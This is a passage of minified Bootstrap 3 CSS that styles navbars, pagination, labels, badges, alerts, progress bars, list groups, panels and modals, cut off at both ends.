.dropdown-menu > .active > a, .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover, .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus { color: #555; background-color: #e7e7e7; } .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a, .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover, .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus { color: #ccc; background-color: transparent; } } .navbar-default .navbar-link { color: #777; } .navbar-default .navbar-link:hover { color: #333; } .navbar-default .btn-link { color: #777; } .navbar-default .btn-link:hover, .navbar-default .btn-link:focus { color: #333; } .navbar-default .btn-link[disabled]:hover, fieldset[disabled] .navbar-default .btn-link:hover, .navbar-default .btn-link[disabled]:focus, fieldset[disabled] .navbar-default .btn-link:focus { color: #ccc; } .navbar-inverse { background-color: #222; border-color: #080808; } .navbar-inverse .navbar-brand { color: #9d9d9d; } .navbar-inverse .navbar-brand:hover, .navbar-inverse .navbar-brand:focus { color: #fff; background-color: transparent; } .navbar-inverse .navbar-text { color: #9d9d9d; } .navbar-inverse .navbar-nav > li > a { color: #9d9d9d; } .navbar-inverse .navbar-nav > li > a:hover, .navbar-inverse .navbar-nav > li > a:focus { color: #fff; background-color: transparent; } .navbar-inverse .navbar-nav > .active > a, .navbar-inverse .navbar-nav > .active > a:hover, .navbar-inverse .navbar-nav > .active > a:focus { color: #fff; background-color: #080808; } .navbar-inverse .navbar-nav > .disabled > a, .navbar-inverse .navbar-nav > .disabled > a:hover, .navbar-inverse .navbar-nav > .disabled > a:focus { color: #444; background-color: transparent; } .navbar-inverse .navbar-toggle { border-color: #333; } .navbar-inverse .navbar-toggle:hover, .navbar-inverse .navbar-toggle:focus { background-color: #333; } .navbar-inverse .navbar-toggle .icon-bar { background-color: #fff; } .navbar-inverse .navbar-collapse, .navbar-inverse .navbar-form { border-color: #101010; } .navbar-inverse .navbar-nav > .open > a, .navbar-inverse .navbar-nav > .open > a:hover, .navbar-inverse .navbar-nav > .open > a:focus { color: #fff; background-color: #080808; } @media (max-width: 767px) { .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header { border-color: #080808; } .navbar-inverse .navbar-nav .open .dropdown-menu .divider { background-color: #080808; } .navbar-inverse .navbar-nav .open .dropdown-menu > li > a { color: #9d9d9d; } .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover, .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus { color: #fff; background-color: transparent; } .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a, .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover, .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus { color: #fff; background-color: #080808; } .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a, .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover, .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus { color: #444; background-color: transparent; } } .navbar-inverse .navbar-link { color: #9d9d9d; } .navbar-inverse .navbar-link:hover { color: #fff; } .navbar-inverse .btn-link { color: #9d9d9d; } .navbar-inverse .btn-link:hover, .navbar-inverse .btn-link:focus { color: #fff; } .navbar-inverse .btn-link[disabled]:hover, fieldset[disabled] .navbar-inverse .btn-link:hover, .navbar-inverse .btn-link[disabled]:focus, fieldset[disabled] .navbar-inverse .btn-link:focus { color: #444; } .breadcrumb { padding: 8px 15px; margin-bottom: 20px; list-style: none; background-color: #f5f5f5; border-radius: 4px; } .breadcrumb > li { display: inline-block; } .breadcrumb > li + li:before { padding: 0 5px; color: #ccc; content: "/\00a0"; } .breadcrumb > .active { color: #777; } .pagination { display: inline-block; padding-left: 0; margin: 20px 0; border-radius: 4px; } .pagination > li { display: inline; } .pagination > li > a, .pagination > li > span { position: relative; float: left; padding: 6px 12px; margin-left: -1px; line-height: 1.42857143; color: #337ab7; text-decoration: none; background-color: #fff; border: 1px solid #ddd; } .pagination > li:first-child > a, .pagination > li:first-child > span { margin-left: 0; border-top-left-radius: 4px; border-bottom-left-radius: 4px; } .pagination > li:last-child > a, .pagination > li:last-child > span { border-top-right-radius: 4px; border-bottom-right-radius: 4px; } .pagination > li > a:hover, .pagination > li > span:hover, .pagination > li > a:focus, .pagination > li > span:focus { color: #23527c; background-color: #eee; border-color: #ddd; } .pagination > .active > a, .pagination > .active > span, .pagination > .active > a:hover, .pagination > .active > span:hover, .pagination > .active > a:focus, .pagination > .active > span:focus { z-index: 2; color: #fff; cursor: default; background-color: #337ab7; border-color: #337ab7; } .pagination > .disabled > span, .pagination > .disabled > span:hover, .pagination > .disabled > span:focus, .pagination > .disabled > a, .pagination > .disabled > a:hover, .pagination > .disabled > a:focus { color: #777; cursor: not-allowed; background-color: #fff; border-color: #ddd; } .pagination-lg > li > a, .pagination-lg > li > span { padding: 10px 16px; font-size: 18px; } .pagination-lg > li:first-child > a, .pagination-lg > li:first-child > span { border-top-left-radius: 6px; border-bottom-left-radius: 6px; } .pagination-lg > li:last-child > a, .pagination-lg > li:last-child > span { border-top-right-radius: 6px; border-bottom-right-radius: 6px; } .pagination-sm > li > a, .pagination-sm > li > span { padding: 5px 10px; font-size: 12px; } .pagination-sm > li:first-child > a, .pagination-sm > li:first-child > span { border-top-left-radius: 3px; border-bottom-left-radius: 3px; } .pagination-sm > li:last-child > a, .pagination-sm > li:last-child > span { border-top-right-radius: 3px; border-bottom-right-radius: 3px; } .pager { padding-left: 0; margin: 20px 0; text-align: center; list-style: none; } .pager li { display: inline; } .pager li > a, .pager li > span { display: inline-block; padding: 5px 14px; background-color: #fff; border: 1px solid #ddd; border-radius: 15px; } .pager li > a:hover, .pager li > a:focus { text-decoration: none; background-color: #eee; } .pager .next > a, .pager .next > span { float: right; } .pager .previous > a, .pager .previous > span { float: left; } .pager .disabled > a, .pager .disabled > a:hover, .pager .disabled > a:focus, .pager .disabled > span { color: #777; cursor: not-allowed; background-color: #fff; } .label { display: inline; padding: .2em .6em .3em; font-size: 75%; font-weight: bold; line-height: 1; color: #fff; text-align: center; white-space: nowrap; vertical-align: baseline; border-radius: .25em; } a.label:hover, a.label:focus { color: #fff; text-decoration: none; cursor: pointer; } .label:empty { display: none; } .btn .label { position: relative; top: -1px; } .label-default { background-color: #777; } .label-default[href]:hover, .label-default[href]:focus { background-color: #5e5e5e; } .label-primary { background-color: #337ab7; } .label-primary[href]:hover, .label-primary[href]:focus { background-color: #286090; } .label-success { background-color: #5cb85c; } .label-success[href]:hover, .label-success[href]:focus { background-color: #449d44; } .label-info { background-color: #5bc0de; } .label-info[href]:hover, .label-info[href]:focus { background-color: #31b0d5; } .label-warning { background-color: #f0ad4e; } .label-warning[href]:hover, .label-warning[href]:focus { background-color: #ec971f; } .label-danger { background-color: #d9534f; } .label-danger[href]:hover, .label-danger[href]:focus { background-color: #c9302c; } .badge { display: inline-block; min-width: 10px; padding: 3px 7px; font-size: 12px; font-weight: bold; line-height: 1; color: #fff; text-align: center; white-space: nowrap; vertical-align: baseline; background-color: #777; border-radius: 10px; } .badge:empty { display: none; } .btn .badge { position: relative; top: -1px; } .btn-xs .badge, .btn-group-xs > .btn .badge { top: 0; padding: 1px 5px; } a.badge:hover, a.badge:focus { color: #fff; text-decoration: none; cursor: pointer; } .list-group-item.active > .badge, .nav-pills > .active > a > .badge { color: #337ab7; background-color: #fff; } .list-group-item > .badge { float: right; } .list-group-item > .badge + .badge { margin-right: 5px; } .nav-pills > li > a > .badge { margin-left: 3px; } .jumbotron { padding: 30px 15px; margin-bottom: 30px; color: inherit; background-color: #eee; } .jumbotron h1, .jumbotron .h1 { color: inherit; } .jumbotron p { margin-bottom: 15px; font-size: 21px; font-weight: 200; } .jumbotron > hr { border-top-color: #d5d5d5; } .container .jumbotron, .container-fluid .jumbotron { border-radius: 6px; } .jumbotron .container { max-width: 100%; } @media screen and (min-width: 768px) { .jumbotron { padding: 48px 0; } .container .jumbotron, .container-fluid .jumbotron { padding-right: 60px; padding-left: 60px; } .jumbotron h1, .jumbotron .h1 { font-size: 63px; } } .thumbnail { display: block; padding: 4px; margin-bottom: 20px; line-height: 1.42857143; background-color: #fff; border: 1px solid #ddd; border-radius: 4px; -webkit-transition: border .2s ease-in-out; -o-transition: border .2s ease-in-out; transition: border .2s ease-in-out; } .thumbnail > img, .thumbnail a > img { margin-right: auto; margin-left: auto; } a.thumbnail:hover, a.thumbnail:focus, a.thumbnail.active { border-color: #337ab7; } .thumbnail .caption { padding: 9px; color: #333; } .alert { padding: 15px; margin-bottom: 20px; border: 1px solid transparent; border-radius: 4px; } .alert h4 { margin-top: 0; color: inherit; } .alert .alert-link { font-weight: bold; } .alert > p, .alert > ul { margin-bottom: 0; } .alert > p + p { margin-top: 5px; } .alert-dismissable, .alert-dismissible { padding-right: 35px; } .alert-dismissable .close, .alert-dismissible .close { position: relative; top: -2px; right: -21px; color: inherit; } .alert-success { color: #3c763d; background-color: #dff0d8; border-color: #d6e9c6; } .alert-success hr { border-top-color: #c9e2b3; } .alert-success .alert-link { color: #2b542c; } .alert-info { color: #31708f; background-color: #d9edf7; border-color: #bce8f1; } .alert-info hr { border-top-color: #a6e1ec; } .alert-info .alert-link { color: #245269; } .alert-warning { color: #8a6d3b; background-color: #fcf8e3; border-color: #faebcc; } .alert-warning hr { border-top-color: #f7e1b5; } .alert-warning .alert-link { color: #66512c; } .alert-danger { color: #a94442; background-color: #f2dede; border-color: #ebccd1; } .alert-danger hr { border-top-color: #e4b9c0; } .alert-danger .alert-link { color: #843534; } @-webkit-keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } @-o-keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } @keyframes progress-bar-stripes { from { background-position: 40px 0; } to { background-position: 0 0; } } .progress { height: 20px; margin-bottom: 20px; overflow: hidden; background-color: #f5f5f5; border-radius: 4px; -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1); box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1); } .progress-bar { float: left; width: 0; height: 100%; font-size: 12px; line-height: 20px; color: #fff; text-align: center; background-color: #337ab7; -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15); box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15); -webkit-transition: width .6s ease; -o-transition: width .6s ease; transition: width .6s ease; } .progress-striped .progress-bar, .progress-bar-striped { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); -webkit-background-size: 40px 40px; background-size: 40px 40px; } .progress.active .progress-bar, .progress-bar.active { -webkit-animation: progress-bar-stripes 2s linear infinite; -o-animation: progress-bar-stripes 2s linear infinite; animation: progress-bar-stripes 2s linear infinite; } .progress-bar-success { background-color: #5cb85c; } .progress-striped .progress-bar-success { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .progress-bar-info { background-color: #5bc0de; } .progress-striped .progress-bar-info { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .progress-bar-warning { background-color: #f0ad4e; } .progress-striped .progress-bar-warning { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .progress-bar-danger { background-color: #d9534f; } .progress-striped .progress-bar-danger { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .media { margin-top: 15px; } .media:first-child { margin-top: 0; } .media, .media-body { overflow: hidden; zoom: 1; } .media-body { width: 10000px; } .media-object { display: block; } .media-right, .media > .pull-right { padding-left: 10px; } .media-left, .media > .pull-left { padding-right: 10px; } .media-left, .media-right, .media-body { display: table-cell; vertical-align: top; } .media-middle { vertical-align: middle; } .media-bottom { vertical-align: bottom; } .media-heading { margin-top: 0; margin-bottom: 5px; } .media-list { padding-left: 0; list-style: none; } .list-group { padding-left: 0; margin-bottom: 20px; } .list-group-item { position: relative; display: block; padding: 10px 15px; margin-bottom: -1px; background-color: #fff; border: 1px solid #ddd; } .list-group-item:first-child { border-top-left-radius: 4px; border-top-right-radius: 4px; } .list-group-item:last-child { margin-bottom: 0; border-bottom-right-radius: 4px; border-bottom-left-radius: 4px; } a.list-group-item { color: #555; } a.list-group-item .list-group-item-heading { color: #333; } a.list-group-item:hover, a.list-group-item:focus { color: #555; text-decoration: none; background-color: #f5f5f5; } .list-group-item.disabled, .list-group-item.disabled:hover, .list-group-item.disabled:focus { color: #777; cursor: not-allowed; background-color: #eee; } .list-group-item.disabled .list-group-item-heading, .list-group-item.disabled:hover .list-group-item-heading, .list-group-item.disabled:focus .list-group-item-heading { color: inherit; } .list-group-item.disabled .list-group-item-text, .list-group-item.disabled:hover .list-group-item-text, .list-group-item.disabled:focus .list-group-item-text { color: #777; } .list-group-item.active, .list-group-item.active:hover, .list-group-item.active:focus { z-index: 2; color: #fff; background-color: #337ab7; border-color: #337ab7; } .list-group-item.active .list-group-item-heading, .list-group-item.active:hover .list-group-item-heading, .list-group-item.active:focus .list-group-item-heading, .list-group-item.active .list-group-item-heading > small, .list-group-item.active:hover .list-group-item-heading > small, .list-group-item.active:focus .list-group-item-heading > small, .list-group-item.active .list-group-item-heading > .small, .list-group-item.active:hover .list-group-item-heading > .small, .list-group-item.active:focus .list-group-item-heading > .small { color: inherit; } .list-group-item.active .list-group-item-text, .list-group-item.active:hover .list-group-item-text, .list-group-item.active:focus .list-group-item-text { color: #c7ddef; } .list-group-item-success { color: #3c763d; background-color: #dff0d8; } a.list-group-item-success { color: #3c763d; } a.list-group-item-success .list-group-item-heading { color: inherit; } a.list-group-item-success:hover, a.list-group-item-success:focus { color: #3c763d; background-color: #d0e9c6; } a.list-group-item-success.active, a.list-group-item-success.active:hover, a.list-group-item-success.active:focus { color: #fff; background-color: #3c763d; border-color: #3c763d; } .list-group-item-info { color: #31708f; background-color: #d9edf7; } a.list-group-item-info { color: #31708f; } a.list-group-item-info .list-group-item-heading { color: inherit; } a.list-group-item-info:hover, a.list-group-item-info:focus { color: #31708f; background-color: #c4e3f3; } a.list-group-item-info.active, a.list-group-item-info.active:hover, a.list-group-item-info.active:focus { color: #fff; background-color: #31708f; border-color: #31708f; } .list-group-item-warning { color: #8a6d3b; background-color: #fcf8e3; } a.list-group-item-warning { color: #8a6d3b; } a.list-group-item-warning .list-group-item-heading { color: inherit; } a.list-group-item-warning:hover, a.list-group-item-warning:focus { color: #8a6d3b; background-color: #faf2cc; } a.list-group-item-warning.active, a.list-group-item-warning.active:hover, a.list-group-item-warning.active:focus { color: #fff; background-color: #8a6d3b; border-color: #8a6d3b; } .list-group-item-danger { color: #a94442; background-color: #f2dede; } a.list-group-item-danger { color: #a94442; } a.list-group-item-danger .list-group-item-heading { color: inherit; } a.list-group-item-danger:hover, a.list-group-item-danger:focus { color: #a94442; background-color: #ebcccc; } a.list-group-item-danger.active, a.list-group-item-danger.active:hover, a.list-group-item-danger.active:focus { color: #fff; background-color: #a94442; border-color: #a94442; } .list-group-item-heading { margin-top: 0; margin-bottom: 5px; } .list-group-item-text { margin-bottom: 0; line-height: 1.3; } .panel { margin-bottom: 20px; background-color: #fff; border: 1px solid transparent; border-radius: 4px; -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05); box-shadow: 0 1px 1px rgba(0, 0, 0, .05); } .panel-body { padding: 15px; } .panel-heading { padding: 10px 15px; border-bottom: 1px solid transparent; border-top-left-radius: 3px; border-top-right-radius: 3px; } .panel-heading > .dropdown .dropdown-toggle { color: inherit; } .panel-title { margin-top: 0; margin-bottom: 0; font-size: 16px; color: inherit; } .panel-title > a, .panel-title > small, .panel-title > .small, .panel-title > small > a, .panel-title > .small > a { color: inherit; } .panel-footer { padding: 10px 15px; background-color: #f5f5f5; border-top: 1px solid #ddd; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .panel > .list-group, .panel > .panel-collapse > .list-group { margin-bottom: 0; } .panel > .list-group .list-group-item, .panel > .panel-collapse > .list-group .list-group-item { border-width: 1px 0; border-radius: 0; } .panel > .list-group:first-child .list-group-item:first-child, .panel > .panel-collapse > .list-group:first-child .list-group-item:first-child { border-top: 0; border-top-left-radius: 3px; border-top-right-radius: 3px; } .panel > .list-group:last-child .list-group-item:last-child, .panel > .panel-collapse > .list-group:last-child .list-group-item:last-child { border-bottom: 0; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .panel-heading + .list-group .list-group-item:first-child { border-top-width: 0; } .list-group + .panel-footer { border-top-width: 0; } .panel > .table, .panel > .table-responsive > .table, .panel > .panel-collapse > .table { margin-bottom: 0; } .panel > .table caption, .panel > .table-responsive > .table caption, .panel > .panel-collapse > .table caption { padding-right: 15px; padding-left: 15px; } .panel > .table:first-child, .panel > .table-responsive:first-child > .table:first-child { border-top-left-radius: 3px; border-top-right-radius: 3px; } .panel > .table:first-child > thead:first-child > tr:first-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child, .panel > .table:first-child > tbody:first-child > tr:first-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child { border-top-left-radius: 3px; border-top-right-radius: 3px; } .panel > .table:first-child > thead:first-child > tr:first-child td:first-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child, .panel > .table:first-child > tbody:first-child > tr:first-child td:first-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child, .panel > .table:first-child > thead:first-child > tr:first-child th:first-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child, .panel > .table:first-child > tbody:first-child > tr:first-child th:first-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child { border-top-left-radius: 3px; } .panel > .table:first-child > thead:first-child > tr:first-child td:last-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child, .panel > .table:first-child > tbody:first-child > tr:first-child td:last-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child, .panel > .table:first-child > thead:first-child > tr:first-child th:last-child, .panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child, .panel > .table:first-child > tbody:first-child > tr:first-child th:last-child, .panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child { border-top-right-radius: 3px; } .panel > .table:last-child, .panel > .table-responsive:last-child > .table:last-child { border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .panel > .table:last-child > tbody:last-child > tr:last-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child, .panel > .table:last-child > tfoot:last-child > tr:last-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child { border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .panel > .table:last-child > tbody:last-child > tr:last-child td:first-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child, .panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child, .panel > .table:last-child > tbody:last-child > tr:last-child th:first-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child, .panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child { border-bottom-left-radius: 3px; } .panel > .table:last-child > tbody:last-child > tr:last-child td:last-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child, .panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child, .panel > .table:last-child > tbody:last-child > tr:last-child th:last-child, .panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child, .panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child, .panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child { border-bottom-right-radius: 3px; } .panel > .panel-body + .table, .panel > .panel-body + .table-responsive, .panel > .table + .panel-body, .panel > .table-responsive + .panel-body { border-top: 1px solid #ddd; } .panel > .table > tbody:first-child > tr:first-child th, .panel > .table > tbody:first-child > tr:first-child td { border-top: 0; } .panel > .table-bordered, .panel > .table-responsive > .table-bordered { border: 0; } .panel > .table-bordered > thead > tr > th:first-child, .panel > .table-responsive > .table-bordered > thead > tr > th:first-child, .panel > .table-bordered > tbody > tr > th:first-child, .panel > .table-responsive > .table-bordered > tbody > tr > th:first-child, .panel > .table-bordered > tfoot > tr > th:first-child, .panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child, .panel > .table-bordered > thead > tr > td:first-child, .panel > .table-responsive > .table-bordered > thead > tr > td:first-child, .panel > .table-bordered > tbody > tr > td:first-child, .panel > .table-responsive > .table-bordered > tbody > tr > td:first-child, .panel > .table-bordered > tfoot > tr > td:first-child, .panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child { border-left: 0; } .panel > .table-bordered > thead > tr > th:last-child, .panel > .table-responsive > .table-bordered > thead > tr > th:last-child, .panel > .table-bordered > tbody > tr > th:last-child, .panel > .table-responsive > .table-bordered > tbody > tr > th:last-child, .panel > .table-bordered > tfoot > tr > th:last-child, .panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child, .panel > .table-bordered > thead > tr > td:last-child, .panel > .table-responsive > .table-bordered > thead > tr > td:last-child, .panel > .table-bordered > tbody > tr > td:last-child, .panel > .table-responsive > .table-bordered > tbody > tr > td:last-child, .panel > .table-bordered > tfoot > tr > td:last-child, .panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child { border-right: 0; } .panel > .table-bordered > thead > tr:first-child > td, .panel > .table-responsive > .table-bordered > thead > tr:first-child > td, .panel > .table-bordered > tbody > tr:first-child > td, .panel > .table-responsive > .table-bordered > tbody > tr:first-child > td, .panel > .table-bordered > thead > tr:first-child > th, .panel > .table-responsive > .table-bordered > thead > tr:first-child > th, .panel > .table-bordered > tbody > tr:first-child > th, .panel > .table-responsive > .table-bordered > tbody > tr:first-child > th { border-bottom: 0; } .panel > .table-bordered > tbody > tr:last-child > td, .panel > .table-responsive > .table-bordered > tbody > tr:last-child > td, .panel > .table-bordered > tfoot > tr:last-child > td, .panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td, .panel > .table-bordered > tbody > tr:last-child > th, .panel > .table-responsive > .table-bordered > tbody > tr:last-child > th, .panel > .table-bordered > tfoot > tr:last-child > th, .panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th { border-bottom: 0; } .panel > .table-responsive { margin-bottom: 0; border: 0; } .panel-group { margin-bottom: 20px; } .panel-group .panel { margin-bottom: 0; border-radius: 4px; } .panel-group .panel + .panel { margin-top: 5px; } .panel-group .panel-heading { border-bottom: 0; } .panel-group .panel-heading + .panel-collapse > .panel-body, .panel-group .panel-heading + .panel-collapse > .list-group { border-top: 1px solid #ddd; } .panel-group .panel-footer { border-top: 0; } .panel-group .panel-footer + .panel-collapse .panel-body { border-bottom: 1px solid #ddd; } .panel-default { border-color: #ddd; } .panel-default > .panel-heading { color: #333; background-color: #f5f5f5; border-color: #ddd; } .panel-default > .panel-heading + .panel-collapse > .panel-body { border-top-color: #ddd; } .panel-default > .panel-heading .badge { color: #f5f5f5; background-color: #333; } .panel-default > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #ddd; } .panel-primary { border-color: #337ab7; } .panel-primary > .panel-heading { color: #fff; background-color: #337ab7; border-color: #337ab7; } .panel-primary > .panel-heading + .panel-collapse > .panel-body { border-top-color: #337ab7; } .panel-primary > .panel-heading .badge { color: #337ab7; background-color: #fff; } .panel-primary > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #337ab7; } .panel-success { border-color: #d6e9c6; } .panel-success > .panel-heading { color: #3c763d; background-color: #dff0d8; border-color: #d6e9c6; } .panel-success > .panel-heading + .panel-collapse > .panel-body { border-top-color: #d6e9c6; } .panel-success > .panel-heading .badge { color: #dff0d8; background-color: #3c763d; } .panel-success > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #d6e9c6; } .panel-info { border-color: #bce8f1; } .panel-info > .panel-heading { color: #31708f; background-color: #d9edf7; border-color: #bce8f1; } .panel-info > .panel-heading + .panel-collapse > .panel-body { border-top-color: #bce8f1; } .panel-info > .panel-heading .badge { color: #d9edf7; background-color: #31708f; } .panel-info > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #bce8f1; } .panel-warning { border-color: #faebcc; } .panel-warning > .panel-heading { color: #8a6d3b; background-color: #fcf8e3; border-color: #faebcc; } .panel-warning > .panel-heading + .panel-collapse > .panel-body { border-top-color: #faebcc; } .panel-warning > .panel-heading .badge { color: #fcf8e3; background-color: #8a6d3b; } .panel-warning > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #faebcc; } .panel-danger { border-color: #ebccd1; } .panel-danger > .panel-heading { color: #a94442; background-color: #f2dede; border-color: #ebccd1; } .panel-danger > .panel-heading + .panel-collapse > .panel-body { border-top-color: #ebccd1; } .panel-danger > .panel-heading .badge { color: #f2dede; background-color: #a94442; } .panel-danger > .panel-footer + .panel-collapse > .panel-body { border-bottom-color: #ebccd1; } .embed-responsive { position: relative; display: block; height: 0; padding: 0; overflow: hidden; } .embed-responsive .embed-responsive-item, .embed-responsive iframe, .embed-responsive embed, .embed-responsive object, .embed-responsive video { position: absolute; top: 0; bottom: 0; left: 0; width: 100%; height: 100%; border: 0; } .embed-responsive-16by9 { padding-bottom: 56.25%; } .embed-responsive-4by3 { padding-bottom: 75%; } .well { min-height: 20px; padding: 19px; margin-bottom: 20px; background-color: #f5f5f5; border: 1px solid #e3e3e3; border-radius: 4px; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05); } .well blockquote { border-color: #ddd; border-color: rgba(0, 0, 0, .15); } .well-lg { padding: 24px; border-radius: 6px; } .well-sm { padding: 9px; border-radius: 3px; } .close { float: right; font-size: 21px; font-weight: bold; line-height: 1; color: #000; text-shadow: 0 1px 0 #fff; filter: alpha(opacity=20); opacity: .2; } .close:hover, .close:focus { color: #000; text-decoration: none; cursor: pointer; filter: alpha(opacity=50); opacity: .5; } button.close { -webkit-appearance: none; padding: 0; cursor: pointer; background: transparent; border: 0; } .modal-open { overflow: hidden; } .modal { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 1050; display: none; overflow: hidden; -webkit-overflow-scrolling: touch; outline: 0; } .modal.fade .modal-dialog { -webkit-transition: -webkit-transform .3s ease-out; -o-transition: -o-transform .3s ease-out; transition: transform .3s ease-out; -webkit-transform: translate(0, -25%); -ms-transform: translate(0, -25%); -o-transform: translate(0, -25%); transform: translate(0, -25%); } .modal.in .modal-dialog { -webkit-transform: translate(0, 0); -ms-transform: translate(0, 0); -o-transform: translate(0, 0); transform: translate(0, 0); } .modal-open .modal { overflow-x: hidden; overflow-y: auto; } .modal-dialog { position: relative; width: auto; margin: 10px; } .modal-content { position: relative; background-color: #fff; -webkit-background-clip: padding-box; background-clip: padding-box; border: 1px solid #999; border: 1px solid rgba(0, 0, 0, .2); border-radius: 6px; outline: 0; -webkit-box-shadow: 0 3px 9px 